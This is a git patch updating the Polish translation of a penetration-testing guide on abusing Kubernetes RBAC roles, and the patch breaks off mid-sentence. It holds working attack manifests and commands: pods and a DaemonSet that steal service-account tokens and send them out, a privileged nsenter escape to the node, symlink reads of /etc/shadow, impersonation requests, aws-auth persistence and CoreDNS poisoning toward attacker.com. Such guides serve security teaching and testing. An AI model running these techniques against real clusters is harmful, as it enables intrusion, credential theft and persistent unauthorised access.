From 3ec84ec59e137ba46638cd4746b09f5916668303 Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 12 Feb 2026 12:40:54 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-cloud/kubernetes-security/abusing-roles- --- .../README.md | 291 ++++++++++-------- ...ubelet-authentication-and-authorization.md | 84 ++--- 2 files changed, 201 insertions(+), 174 deletions(-) diff --git a/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md b/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md index 060a6de6a..8cb504dec 100644 --- a/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md +++ b/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md @@ -1,23 +1,23 @@ -# Abusing Roles/ClusterRoles in Kubernetes +# Nadużywanie Roles/ClusterRoles w Kubernetes {{#include ../../../banners/hacktricks-training.md}} -Tutaj możesz znaleźć potencjalnie niebezpieczne konfiguracje Roles i ClusterRoles.\ -Pamiętaj, że możesz uzyskać wszystkie obsługiwane zasoby za pomocą `kubectl api-resources` +Tutaj znajdziesz kilka potencjalnie niebezpiecznych konfiguracji Roles i ClusterRoles.\ +Pamiętaj, że możesz uzyskać listę wszystkich obsługiwanych zasobów za pomocą `kubectl api-resources` -## **Podnoszenie Uprawnień** +## **Privilege Escalation** -Odnosimy się do sztuki uzyskiwania **dostępu do innego podmiotu** w klastrze **z innymi uprawnieniami** (w obrębie klastra kubernetes lub do zewnętrznych chmur) niż te, które już posiadasz. W Kubernetes istnieją zasadniczo **4 główne techniki podnoszenia uprawnień**: +Odnosząc się do sztuki uzyskania **dostępu do innego principal** w klastrze **o innych uprawnieniach** (w obrębie klastra kubernetes lub do zewnętrznych chmur) niż te, które już posiadasz, w Kubernetes zasadniczo istnieją **4 główne techniki eskalacji uprawnień**: -- Możliwość **podszywania się** pod innych użytkowników/grupy/SAs z lepszymi uprawnieniami w obrębie klastra kubernetes lub do zewnętrznych chmur -- Możliwość **tworzenia/patchowania/uruchamiania podów**, gdzie możesz **znaleźć lub podłączyć SAs** z lepszymi uprawnieniami w obrębie klastra kubernetes lub do zewnętrznych chmur -- Możliwość **czytania sekretów**, ponieważ tokeny SAs są przechowywane jako sekrety -- Możliwość **ucieczki do węzła** z kontenera, gdzie możesz ukraść wszystkie sekrety kontenerów działających na węźle, dane uwierzytelniające węzła oraz uprawnienia węzła w obrębie chmury, w której działa (jeśli w ogóle) -- Piątą techniką, która zasługuje na wzmiankę, jest możliwość **uruchomienia port-forward** w podzie, ponieważ możesz uzyskać dostęp do interesujących zasobów w tym podzie. +- Mieć możliwość **impersonate** innych user/groups/SAs z wyższymi uprawnieniami w klastrze Kubernetes lub w zewnętrznych chmurach +- Mieć możliwość **create/patch/exec pods**, w których możesz **znaleźć lub attach SAs** z wyższymi uprawnieniami w klastrze Kubernetes lub w zewnętrznych chmurach +- Mieć możliwość **read secrets**, ponieważ tokeny SAs są przechowywane jako secrets +- Mieć możliwość **escape to the node** z kontenera, gdzie możesz ukraść wszystkie secrets kontenerów działających na node, poświadczenia node oraz uprawnienia node w chmurze, w której działa (jeśli istnieją) +- Piątą techniką wartą wspomnienia jest możliwość **run port-forward** w pod, ponieważ możesz uzyskać dostęp do interesujących zasobów wewnątrz tego podu. ### Access Any Resource or Verb (Wildcard) -**dziki znak (\*) daje uprawnienia do dowolnego zasobu z dowolnym czasownikiem**. Jest używany przez administratorów. W obrębie ClusterRole oznacza to, że atakujący mógłby nadużyć anynamespace w klastrze +The **wildcard (\*) gives permission over any resource with any verb**. It's used by admins. Inside a ClusterRole this means that an attacker could abuse anynamespace in the cluster ```yaml apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole @@ -29,13 +29,13 @@ rules: resources: ["*"] verbs: ["*"] ``` -### Uzyskaj dostęp do dowolnego zasobu za pomocą konkretnego czasownika +### Dostęp do dowolnego zasobu z określonym verb -W RBAC niektóre uprawnienia niosą ze sobą istotne ryzyko: +W RBAC niektóre uprawnienia niosą poważne ryzyko: -1. **`create`:** Przyznaje możliwość tworzenia dowolnego zasobu klastra, co stwarza ryzyko eskalacji uprawnień. -2. **`list`:** Umożliwia wyświetlanie wszystkich zasobów, co może prowadzić do wycieku wrażliwych danych. -3. **`get`:** Pozwala na dostęp do sekretów z kont serwisowych, co stanowi zagrożenie dla bezpieczeństwa. +1. **`create`:** Umożliwia tworzenie dowolnego zasobu klastra, co może prowadzić do eskalacji uprawnień. +2. **`list`:** Pozwala na listowanie wszystkich zasobów, co może spowodować leak wrażliwych danych. +3. **`get`:** Umożliwia dostęp do secrets należących do service accounts, co stanowi zagrożenie bezpieczeństwa. ```yaml apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole @@ -49,9 +49,9 @@ verbs: ["create", "list", "get"] ``` ### Pod Create - Steal Token -Atakujący z uprawnieniami do tworzenia poda mógłby dołączyć uprzywilejowane Konto Usługi do poda i ukraść token, aby podszyć się pod Konto Usługi. Efektywnie eskalując uprawnienia do niego. +Atakujący mający uprawnienia do tworzenia podów może dołączyć uprzywilejowany Service Account do poda i ukraść token, aby podszyć się pod ten Service Account, efektywnie eskalując jego uprawnienia. -Przykład poda, który ukradnie token konta usługi `bootstrap-signer` i wyśle go do atakującego: +Przykład poda, który ukradnie token Service Account `bootstrap-signer` i wyśle go do atakującego: ```yaml apiVersion: v1 kind: Pod @@ -74,12 +74,12 @@ hostNetwork: true ``` ### Pod Create & Escape -Poniżej przedstawiono wszystkie uprawnienia, jakie może mieć kontener: +Poniżej przedstawiono wszystkie uprawnienia, które może mieć kontener: -- **Dostęp uprzywilejowany** (wyłączanie zabezpieczeń i ustawianie możliwości) -- **Wyłączenie przestrzeni nazw hostIPC i hostPid**, co może pomóc w eskalacji uprawnień -- **Wyłączenie przestrzeni nazw hostNetwork**, co daje dostęp do kradzieży uprawnień chmurowych węzłów i lepszego dostępu do sieci -- **Zamontowanie hostów / wewnątrz kontenera** +- **Privileged access** (wyłączanie zabezpieczeń i ustawianie uprawnień (capabilities)) +- **Disable namespaces hostIPC and hostPid** które mogą pomóc w eskalacji uprawnień +- **Disable hostNetwork** namespace, umożliwiając przejęcie uprawnień węzłów w chmurze oraz lepszy dostęp do sieci +- **Mount hosts /** wewnątrz kontenera ```yaml:super_privs.yaml apiVersion: v1 kind: Pod @@ -115,19 +115,19 @@ volumes: hostPath: path: / ``` -Utwórz pod z: +Utwórz pod za pomocą: ```bash kubectl --token $token create -f mount_root.yaml ``` -Jednozdaniowy z [tego tweeta](https://twitter.com/mauilion/status/1129468485480751104) oraz z dodatkami: +One-liner z [this tweet](https://twitter.com/mauilion/status/1129468485480751104) i z kilkoma dodatkami: ```bash kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}' ``` -Teraz, gdy możesz uciec do węzła, sprawdź techniki poeksploatacyjne w: +Teraz, gdy możesz uciec na node sprawdź techniki post-exploitation w: #### Stealth -Prawdopodobnie chcesz być **bardziej dyskretny**, na następnych stronach możesz zobaczyć, do czego będziesz miał dostęp, jeśli stworzysz pod, włączając tylko niektóre z wymienionych uprawnień w poprzednim szablonie: +You probably want to be **stealthier**, w poniższych stronach możesz zobaczyć, do czego miałbyś dostęp jeśli utworzysz pod włączając tylko niektóre z wymienionych uprawnień w poprzednim szablonie: - **Privileged + hostPID** - **Privileged only** @@ -136,14 +136,14 @@ Prawdopodobnie chcesz być **bardziej dyskretny**, na następnych stronach może - **hostNetwork** - **hostIPC** -_Możesz znaleźć przykład, jak stworzyć/wykorzystać poprzednie konfiguracje podów z uprawnieniami w_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods) +_Przykłady, jak tworzyć/wykorzystywać powyższe konfiguracje uprzywilejowanych podów znajdziesz w_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods) ### Pod Create - Move to cloud -Jeśli możesz **stworzyć** **pod** (i opcjonalnie **konto usługi**), możesz być w stanie **uzyskać uprawnienia w środowisku chmurowym** poprzez **przypisanie ról chmurowych do poda lub konta usługi** i następnie uzyskanie do niego dostępu.\ -Co więcej, jeśli możesz stworzyć **pod z przestrzenią nazw sieci hosta**, możesz **ukraść rolę IAM** instancji **węzła**. +Jeśli możesz **utworzyć** a **pod** (a opcjonalnie **service account**) możesz być w stanie **uzyskać uprawnienia w środowisku chmurowym** poprzez **przypisanie cloud roles do poda lub service account** i następnie dostęp do nich.\ +Ponadto, jeśli możesz utworzyć **pod z przestrzenią nazw sieci hosta** możesz **ukraść rolę IAM** instancji **node**. -Aby uzyskać więcej informacji, sprawdź: +For more information check: {{#ref}} pod-escape-privileges.md @@ -151,9 +151,9 @@ pod-escape-privileges.md ### **Create/Patch Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs and Cronjobs** -Możliwe jest nadużycie tych uprawnień do **stworzenia nowego poda** i uzyskania uprawnień, jak w poprzednim przykładzie. +Można nadużyć tych uprawnień, aby **utworzyć nowy pod** i **eskalować uprawnienia** jak w poprzednim przykładzie. -Poniższy yaml **tworzy daemonset i eksfiltruje token SA** wewnątrz poda: +The following yaml **creates a daemonset and exfiltrates the token of the SA** inside the pod: ```yaml apiVersion: apps/v1 kind: DaemonSet @@ -191,32 +191,32 @@ path: / ``` ### **Pods Exec** -**`pods/exec`** to zasób w kubernetes używany do **uruchamiania poleceń w powłoce wewnątrz poda**. Umożliwia to **uruchamianie poleceń wewnątrz kontenerów lub uzyskanie powłoki wewnątrz**. +**`pods/exec`** to zasób w kubernetes używany do **uruchamiania poleceń w shellu wewnątrz poda**. Umożliwia to **wykonywanie poleceń wewnątrz kontenerów lub uzyskanie powłoki**. -Dlatego możliwe jest **dostanie się do poda i kradzież tokena SA**, lub wejście do uprzywilejowanego poda, ucieczka do węzła i kradzież wszystkich tokenów podów w węźle oraz (nadużycie) węzła: +Dlatego możliwe jest **dostanie się do poda i kradzież tokena SA**, lub wejście do uprzywilejowanego poda, ucieczka na node i kradzież wszystkich tokenów podów na tym node oraz (ab)use node'a: ```bash kubectl exec -it -n -- sh ``` > [!NOTE] -> Domyślnie polecenie jest wykonywane w pierwszym kontenerze poda. Uzyskaj **wszystkie kontenery w podzie** za pomocą `kubectl get pods -o jsonpath='{.spec.containers[*].name}'`, a następnie **wskaż kontener**, w którym chcesz je wykonać, używając `kubectl exec -it -c -- sh`. +> Domyślnie polecenie jest wykonywane w pierwszym kontenerze w podzie. Pobierz **wszystkie kontenery w podzie** za pomocą `kubectl get pods -o jsonpath='{.spec.containers[*].name}'`, a następnie **wskaż kontener**, w którym chcesz je uruchomić, używając `kubectl exec -it -c -- sh` -Jeśli to kontener bez dystrybucji, możesz spróbować użyć **wbudowanych poleceń powłoki**, aby uzyskać informacje o kontenerach lub przesłać własne narzędzia, takie jak **busybox**, używając: **`kubectl cp :`**. +Jeśli to distroless container, możesz spróbować użyć **shell builtins**, aby uzyskać informacje o kontenerach lub wgrać własne narzędzia, np. **busybox**, używając: **`kubectl cp :`**. ### port-forward -To uprawnienie pozwala na **przekierowanie jednego lokalnego portu do jednego portu w określonym podzie**. Ma to na celu ułatwienie debugowania aplikacji działających wewnątrz poda, ale atakujący może to wykorzystać, aby uzyskać dostęp do interesujących (jak DB) lub podatnych aplikacji (web?) wewnątrz poda: +To uprawnienie pozwala **przekierować jeden lokalny port na jeden port w określonym podzie**. Służy to ułatwieniu debugowania aplikacji działających wewnątrz poda, ale atakujący może to nadużyć, aby uzyskać dostęp do interesujących (np. DBs) lub podatnych aplikacji (webs?) wewnątrz poda: ```bash kubectl port-forward pod/mypod 5000:5000 ``` ### Hosts Writable /var/log/ Escape -As [**wskazano w tym badaniu**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), jeśli możesz uzyskać dostęp lub utworzyć pod z **zamontowanym katalogiem `/var/log/` hosta**, możesz **uciec z kontenera**.\ -Dzieje się tak głównie dlatego, że gdy **Kube-API próbuje uzyskać logi** kontenera (używając `kubectl logs `), **żąda pliku `0.log`** podu za pomocą punktu końcowego `/logs/` usługi **Kubelet**.\ -Usługa Kubelet udostępnia punkt końcowy `/logs/`, który zasadniczo **udostępnia system plików `/var/log` kontenera**. +As [**wskazano w tym badaniu**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), jeśli możesz uzyskać dostęp do poda lub utworzyć poda z zamontowanym katalogiem `/var/log/` hosta, możesz **uciec z kontenera**.\ +Dzieje się tak, ponieważ gdy **Kube-API próbuje pobrać logi** kontenera (używając `kubectl logs `), żąda ono pliku `0.log` poda używając punktu końcowego `/logs/` usługi **Kubelet**.\ +Usługa Kubelet udostępnia punkt końcowy `/logs/`, który w praktyce **udostępnia system plików `/var/log` kontenera**. -Dlatego atakujący z **dostępem do zapisu w folderze /var/log/** kontenera mógłby nadużyć tego zachowania na 2 sposoby: +W związku z tym atakujący mający **możliwość zapisu w katalogu /var/log/** kontenera może wykorzystać to zachowanie na 2 sposoby: -- Modyfikując plik `0.log` swojego kontenera (zwykle znajdujący się w `/var/logs/pods/namespace_pod_uid/container/0.log`), aby był **symlinkiem wskazującym na `/etc/shadow`** na przykład. Wtedy będziesz mógł wyeksfiltrować plik shadow hosta, wykonując: +- Modyfikując plik `0.log` swojego kontenera (zwykle znajdujący się w `/var/logs/pods/namespace_pod_uid/container/0.log`) tak, aby był **symlinkiem wskazującym na `/etc/shadow`**, na przykład. Wtedy będziesz w stanie exfiltrate plik shadow hosta wykonując: ```bash kubectl logs escaper failed to get parse function: unsupported log format: "root::::::::\n" @@ -224,7 +224,7 @@ kubectl logs escaper --tail=2 failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n" # Keep incrementing tail to exfiltrate the whole file ``` -- Jeśli atakujący kontroluje jakikolwiek podmiot z **uprawnieniami do odczytu `nodes/log`**, może po prostu utworzyć **symlink** w `/host-mounted/var/log/sym` do `/` i podczas **dostępu do `https://:10250/logs/sym/` wyświetli system plików root** hosta (zmiana symlinka może zapewnić dostęp do plików). +- Jeśli atakujący kontroluje dowolny principal z **uprawnieniami do odczytu `nodes/log`**, może po prostu utworzyć **symlink** w `/host-mounted/var/log/sym` wskazujący na `/` i przy **dostępie do `https://:10250/logs/sym/` wyświetli system plików root hosta** (zmiana symlink może umożliwić dostęp do plików). ```bash curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/' bin @@ -236,23 +236,23 @@ curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https:// lib [...] ``` -**Laboratorium i zautomatyzowany exploit można znaleźć w** [**https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts**](https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts) +**Laboratorium i zautomatyzowany exploit można znaleźć na** [**https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts**](https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts) -#### Ominięcie ochrony readOnly +#### Omijanie ochrony readOnly -Jeśli masz szczęście i wysoko uprzywilejowana zdolność `CAP_SYS_ADMIN` jest dostępna, możesz po prostu ponownie zamontować folder jako rw: +Jeśli będziesz miał szczęście i wysoce uprzywilejowana capability `CAP_SYS_ADMIN` jest dostępna, możesz po prostu ponownie zamontować folder jako `rw`: ```bash mount -o rw,remount /hostlogs/ ``` -#### Obejście ochrony hostPath readOnly +#### Omijanie hostPath readOnly protection -Jak stwierdzono w [**tych badaniach**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), możliwe jest obejście ochrony: +Jak stwierdzono w [**this research**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), możliwe jest obejście tej ochrony: ```yaml allowedHostPaths: - pathPrefix: "/foo" readOnly: true ``` -Który miał na celu zapobieganie ucieczkom, jak te poprzednie, poprzez zamiast używania montażu hostPath, użycie PersistentVolume i PersistentVolumeClaim do zamontowania folderu hosta w kontenerze z dostępem do zapisu: +Co miało zapobiec ucieczkom podobnym do poprzednich — zamiast użycia hostPath mount użyto PersistentVolume i PersistentVolumeClaim, aby zamontować katalog hosts w kontenerze z dostępem do zapisu: ```yaml apiVersion: v1 kind: PersistentVolume @@ -298,16 +298,16 @@ volumeMounts: - mountPath: "/hostlogs" name: task-pv-storage-vol ``` -### **Podszywanie się pod uprzywilejowane konta** +### **Podszywanie się pod konta uprzywilejowane** -Z uprawnieniem [**podszywania się pod użytkownika**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation), atakujący może podszyć się pod uprzywilejowane konto. +Dysponując uprawnieniem [**user impersonation**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation), atakujący może podszyć się pod konto uprzywilejowane. -Wystarczy użyć parametru `--as=` w poleceniu `kubectl`, aby podszyć się pod użytkownika, lub `--as-group=`, aby podszyć się pod grupę: +Wystarczy użyć parametru `--as=` w poleceniu `kubectl`, aby podszyć się pod użytkownika, lub `--as-group=` aby podszyć się pod grupę: ```bash kubectl get pods --as=system:serviceaccount:kube-system:default kubectl get secrets --as=null --as-group=system:masters ``` -Lub użyj interfejsu API REST: +Lub użyj REST API: ```bash curl -k -v -XGET -H "Authorization: Bearer " \ -H "Impersonate-Group: system:masters"\ @@ -315,15 +315,16 @@ curl -k -v -XGET -H "Authorization: Bearer " \ -H "Accept: application/json" \ https://:/api/v1/namespaces/kube-system/secrets/ ``` -### Listing Secrets +### Listowanie sekretów -Uprawnienie do **wyświetlania sekretów może pozwolić atakującemu na rzeczywiste odczytanie sekretów** uzyskując dostęp do punktu końcowego REST API: +Uprawnienie do **listowania sekretów może umożliwić atakującemu faktyczny odczyt ich zawartości** poprzez dostęp do REST API endpoint: ```bash curl -v -H "Authorization: Bearer " https://:/api/v1/namespaces/kube-system/secrets/ ``` -### Tworzenie i Odczytywanie Sekretów +### Tworzenie i odczytywanie Secrets -Istnieje specjalny rodzaj sekretu Kubernetes typu **kubernetes.io/service-account-token**, który przechowuje tokeny konta usługi. Jeśli masz uprawnienia do tworzenia i odczytywania sekretów, a także znasz nazwę konta usługi, możesz stworzyć sekret w następujący sposób, a następnie ukraść token konta usługi ofiary z niego: +Istnieje specjalny rodzaj Kubernetes secret typu **kubernetes.io/service-account-token**, który przechowuje serviceaccount tokens. +Jeśli masz uprawnienia do tworzenia i odczytywania secrets i znasz nazwę serviceaccount, możesz utworzyć secret w następujący sposób, a następnie ukraść z niego token serviceaccount ofiary: ```yaml apiVersion: v1 kind: Secret @@ -334,7 +335,7 @@ annotations: kubernetes.io/service-account.name: cluster-admin-sa type: kubernetes.io/service-account-token ``` -Przykład wykorzystania: +Przykład eksploatacji: ```bash $ SECRETS_MANAGER_TOKEN=$(kubectl create token secrets-manager-sa) @@ -382,17 +383,19 @@ $ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o jso "type": "kubernetes.io/service-account-token" } ``` -Zauważ, że jeśli masz pozwolenie na tworzenie i odczytywanie sekretów w danej przestrzeni nazw, konto serwisowe ofiary również musi znajdować się w tej samej przestrzeni nazw. +Note that if you are allowed to create and read secrets in a certain namespace, the victim serviceaccount also must be in that same namespace. -### Odczyt sekretu – brutalne wymuszanie identyfikatorów tokenów +### Odczyt secret – brute-forcing token IDs -Podczas gdy atakujący posiadający token z uprawnieniami do odczytu wymaga dokładnej nazwy sekretu, aby go użyć, w przeciwieństwie do szerszego przywileju _**wyświetlania sekretów**_, nadal istnieją luki. Domyślne konta serwisowe w systemie mogą być enumerowane, z każdym powiązanym z sekretem. Te sekrety mają strukturę nazwy: statyczny prefiks, a następnie losowy pięcioznakowy alfanumeryczny token (z wyłączeniem niektórych znaków) zgodnie z [kodem źródłowym](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83). +Chociaż atakujący posiadający token z uprawnieniami do odczytu potrzebuje dokładnej nazwy secret, aby go użyć — w przeciwieństwie do szerszego uprawnienia _**listing secrets**_ — nadal istnieją luki. -Token jest generowany z ograniczonego zestawu 27 znaków (`bcdfghjklmnpqrstvwxz2456789`), a nie z pełnego zakresu alfanumerycznego. To ograniczenie redukuje całkowitą liczbę możliwych kombinacji do 14,348,907 (27^5). W związku z tym atakujący mógłby wykonać atak brutalny, aby wydedukować token w ciągu kilku godzin, co potencjalnie prowadzi do eskalacji uprawnień poprzez uzyskanie dostępu do wrażliwych kont serwisowych. +Domyślne service accounts w systemie można wyliczyć, z których każdy jest powiązany z jednym secret. Te secrets mają strukturę nazwy: stały prefiks, po którym następuje losowy pięcioznakowy alfanumeryczny token (z wyłączeniem niektórych znaków) zgodnie z [source code](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83). -### EncrpytionConfiguration w czystym tekście +Token jest generowany z ograniczonego zestawu 27 znaków (`bcdfghjklmnpqrstvwxz2456789`), zamiast pełnego zakresu alfanumerycznego. To ograniczenie zmniejsza liczbę możliwych kombinacji do 14,348,907 (27^5). W konsekwencji atakujący mógłby wykonać atak brute-force w celu odgadnięcia tokena w ciągu kilku godzin, co potencjalnie prowadzi do eskalacji uprawnień przez dostęp do wrażliwych service accounts. -Możliwe jest znalezienie kluczy w czystym tekście do szyfrowania danych w spoczynku w tego typu obiektach jak: +### EncrpytionConfiguration w postaci jawnej + +W tego typu obiekcie można znaleźć klucze w postaci jawnej do szyfrowania danych w spoczynku, np.: ```yaml # From https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/ @@ -449,11 +452,11 @@ keys: - name: key3 secret: c2VjcmV0IGlzIHNlY3VyZSwgSSB0aGluaw== ``` -### Certificate Signing Requests +### Żądania podpisania certyfikatu -Jeśli masz czasowniki **`create`** w zasobie `certificatesigningrequests` (lub przynajmniej w `certificatesigningrequests/nodeClient`). Możesz **create** nowy CeSR dla **nowego węzła.** +Jeśli masz uprawnienie **`create`** dla zasobu `certificatesigningrequests` (albo przynajmniej dla `certificatesigningrequests/nodeClient`), możesz **utworzyć** nowy CeSR dla **nowego node.** -Zgodnie z [dokumentacją, możliwe jest automatyczne zatwierdzanie tych żądań](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), więc w takim przypadku **nie potrzebujesz dodatkowych uprawnień**. Jeśli nie, musisz mieć możliwość zatwierdzenia żądania, co oznacza aktualizację w `certificatesigningrequests/approval` i `approve` w `signers` z resourceName `/` lub `/*` +Zgodnie z [documentation it's possible to auto approve this requests](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), w takim przypadku **nie potrzebujesz dodatkowych uprawnień**. Jeśli nie, będziesz musiał móc zatwierdzić żądanie, co oznacza uprawnienie update do `certificatesigningrequests/approval` oraz `approve` w `signers` z resourceName `/` lub `/*` Przykład **roli** z wszystkimi wymaganymi uprawnieniami to: ```yaml @@ -486,19 +489,19 @@ resourceNames: verbs: - approve ``` -Więc, z nowym zatwierdzonym CSR węzła, możesz **wykorzystać** specjalne uprawnienia węzłów do **kradzieży sekretów** i **eskalacji uprawnień**. +Zatem, po zatwierdzeniu nowego node CSR, możesz **abuse** specjalne uprawnienia węzłów, aby **steal secrets** i **escalate privileges**. -W [**tym poście**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) i [**tym**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/) konfiguracja GKE K8s TLS Bootstrap jest skonfigurowana z **automatycznym podpisywaniem** i jest wykorzystywana do generowania poświadczeń nowego węzła K8s, a następnie wykorzystywana do eskalacji uprawnień poprzez kradzież sekretów.\ -Jeśli **masz wspomniane uprawnienia, możesz zrobić to samo**. Zauważ, że pierwszy przykład omija błąd uniemożliwiający nowemu węzłowi dostęp do sekretów wewnątrz kontenerów, ponieważ **węzeł może uzyskać dostęp tylko do sekretów kontenerów zamontowanych na nim.** +W [**this post**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) oraz [**this one**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/) konfiguracja GKE K8s TLS Bootstrap ma włączone **automatic signing** i jest abused do wygenerowania poświadczeń nowego K8s Node, które następnie można abuse, aby escalate privileges i steal secrets.\ +Jeśli **masz wspomniane privileges, możesz zrobić to samo**. Zauważ, że pierwszy przykład omija błąd uniemożliwiający nowemu node dostęp do secrets wewnątrz kontenerów, ponieważ **node can only access the secrets of containers mounted on it.** -Sposób na obejście tego to po prostu **utworzenie poświadczeń węzła dla nazwy węzła, na którym zamontowany jest kontener z interesującymi sekretami** (ale sprawdź, jak to zrobić w pierwszym poście): +Sposób obejścia polega po prostu na **create a node credentials for the node name where the container with the interesting secrets is mounted** (ale sprawdź, jak to zrobić w pierwszym poście): ```bash "/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1" ``` ### AWS EKS aws-auth configmaps -Podmioty, które mogą modyfikować **`configmaps`** w przestrzeni nazw kube-system na klastrach EKS (muszą być w AWS), mogą uzyskać uprawnienia administratora klastra, nadpisując **aws-auth** configmap.\ -Potrzebne czasowniki to **`update`** i **`patch`**, lub **`create`**, jeśli configmap nie został utworzony: +Podmioty, które mogą modyfikować **`configmaps`** w przestrzeni nazw kube-system na klastrach EKS (musi być w AWS) mogą uzyskać uprawnienia administratora klastra przez nadpisanie configmapy **aws-auth**.\ +Wymagane operacje to **`update`** i **`patch`**, lub **`create`** jeśli configmap jeszcze nie istnieje: ```bash # Check if config map exists get configmap aws-auth -n kube-system -o yaml @@ -538,18 +541,18 @@ groups: - system:masters ``` > [!WARNING] -> Możesz użyć **`aws-auth`** do **utrzymania** dostępu dla użytkowników z **innych kont**. +> Możesz użyć **`aws-auth`** do **persistence**, przyznając dostęp użytkownikom z **innych kont**. > -> Jednak `aws --profile other_account eks update-kubeconfig --name ` **nie działa z innego konta**. Ale właściwie `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing` działa, jeśli wstawisz ARN klastra zamiast samej nazwy.\ -> Aby `kubectl` działał, upewnij się, że **skonfigurujesz** **kubeconfig ofiary** i w argumentach exec aws dodaj `--profile other_account_role`, aby kubectl używał profilu innego konta do uzyskania tokena i kontaktu z AWS. +> Jednak `aws --profile other_account eks update-kubeconfig --name ` **nie działa z innego konta**. Ale w rzeczywistości `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing` działa, jeśli podasz ARN klastra zamiast samej nazwy.\ +> Aby `kubectl` działał, upewnij się, że skonfigurowałeś **victims kubeconfig** i w aws exec args dodaj `--profile other_account_role`, dzięki czemu kubectl będzie używał profilu innego konta do pobrania tokena i komunikacji z AWS. ### CoreDNS config map -Jeśli masz uprawnienia do modyfikacji **`coredns` configmap** w przestrzeni nazw `kube-system`, możesz zmodyfikować adresy, do których będą rozwiązywane domeny, aby móc przeprowadzać ataki MitM w celu **kradzieży wrażliwych informacji lub wstrzykiwania złośliwej treści**. +Jeśli masz uprawnienia do modyfikacji **`coredns` configmap** w namespace `kube-system`, możesz zmienić adresy, na które będą rozwiązywane domeny, aby przeprowadzić ataki MitM, których celem będzie **kradzież wrażliwych informacji lub wstrzyknięcie złośliwej zawartości**. -Potrzebne czasowniki to **`update`** i **`patch`** dla **`coredns`** configmap (lub wszystkich config maps). +Wymagane operacje to **`update`** i **`patch`** na **`coredns`** configmap (lub na wszystkich config maps). -Zwykły **plik coredns** zawiera coś takiego: +Standardowy plik **coredns** wygląda mniej więcej tak: ```yaml data: Corefile: | @@ -579,58 +582,75 @@ reload loadbalance } ``` -Atakujący mógłby pobrać to, uruchamiając `kubectl get configmap coredns -n kube-system -o yaml`, zmodyfikować, dodając coś takiego jak `rewrite name victim.com attacker.com`, aby za każdym razem, gdy uzyskiwany jest dostęp do `victim.com`, w rzeczywistości dostęp byłby do `attacker.com`. Następnie można to zastosować, uruchamiając `kubectl apply -f poison_dns.yaml`. +An attacker could download it running `kubectl get configmap coredns -n kube-system -o yaml`, modify it adding something like `rewrite name victim.com attacker.com` so whenever `victim.com` is accessed actually `attacker.com` is the domain that is going to be accessed. And then apply it running `kubectl apply -f poison_dns.yaml`. -Inną opcją jest po prostu edytowanie pliku, uruchamiając `kubectl edit configmap coredns -n kube-system` i wprowadzając zmiany. +Another option is to just edit the file running `kubectl edit configmap coredns -n kube-system` and making changes. ### Eskalacja w GKE -Są **2 sposoby przypisania uprawnień K8s do podmiotów GCP**. W każdym przypadku podmiot musi również mieć uprawnienie **`container.clusters.get`**, aby móc zebrać dane uwierzytelniające do uzyskania dostępu do klastra, lub będziesz musiał **wygenerować własny plik konfiguracyjny kubectl** (postępuj zgodnie z następującym linkiem). +There are **2 ways to assign K8s permissions to GCP principals**. In any case the principal also needs the permission **`container.clusters.get`** to be able to gather credentials to access the cluster, or you will need to **generate your own kubectl config file** (follow the next link). > [!WARNING] -> Rozmawiając z punktem końcowym API K8s, **token uwierzytelniający GCP zostanie wysłany**. Następnie GCP, poprzez punkt końcowy API K8s, najpierw **sprawdzi, czy podmiot** (po e-mailu) **ma jakikolwiek dostęp w klastrze**, a następnie sprawdzi, czy ma **jakikolwiek dostęp przez GCP IAM**.\ -> Jeśli **jakiekolwiek** z tych stwierdzeń jest **prawdziwe**, otrzyma **odpowiedź**. Jeśli **nie**, zostanie podany **błąd** sugerujący nadanie **uprawnień przez GCP IAM**. +> When 